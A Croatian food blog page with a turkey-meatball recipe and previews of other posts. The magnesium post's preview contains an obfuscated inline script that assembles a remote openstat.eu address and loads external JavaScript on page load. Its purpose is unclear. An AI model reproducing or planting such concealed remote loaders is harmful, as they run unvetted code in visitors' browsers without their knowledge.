TURSKE OKRUGLICE U KREMASTOM UMAKU




Turske okruglice u kremastom umaku 




Mesne okruglice s mediteranskim začinima u raskošnom umaku specijalitet su turske kuhinje i osobito dobro pašu uz pire od krumpira, a možete ih poslužiti i na pireu od cvjetače, batata ili muškatne tikve.




Turske okruglice u kremastom umaku 


Sastojci:

  • 680 g mljevene puretine
  • 1 veliko jaje
  • ½ luka
  • 60 g brašna
  • 4 češnja češnjaka
  • ¼ žličice ružmarina
  • ¼ žličice majčine dušice
  • ½ žličice soli
  • ½ žličice svježe mljevenog crnog papra
  • 3 žlice maslinova ulja

Umak:

  • 240 ml pilećeg temeljca
  • 60 g dijon senfa
  • 50 g meda
  • 2 žlice limuna
  • 1 žličica škrobnog brašna
  • 4 žlice vrhnja za šlag bez šećera
  • svježi peršin za ukrašavanje



Priprema:

  1. Jaje lagano umutite, luk i češnjak sitno nasjeckajte.
  2. U velikoj zdjeli pomiješajte puretinu, jaje, luk, brašno, češnjak, ružmarin majčinu dušicu, sol i papar. Miješajte rukama dok se sve dobro ne sjedini.
  3. Od smjese vadite kuglice veličine oko 1 i ½ žlice. Oblikujte otprilike 30 okruglica i stavite ih na tanjur.
  4. U velikoj tavi zagrijte dvije žlice ulja na srednjoj vatri. Dodajte polovicu okruglica i zapecite ih sa svih strana (5–8 minuta). Izvadite ih na tanjur, dodajte još jednu žlicu ulja i ponovite s drugom polovicom.
  5. Deglazirajte tavu dodavanjem pilećeg temeljca, lagano sastružite ostatke sa dna i dodajte dijon senf, vrhnje i med. Umutite i kuhajte na laganoj vatri dok umak ne postane kremast. U šalicu odvojite malo umaka i mlake vode, dodajte gustin i ulijte u umak. Zatim dodajte i žlicu po žlicu limunova soka, miješajući. Vratite okruglice u tavu, lagano ih zagrijte u umaku i pospite svježim začinskim biljem.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više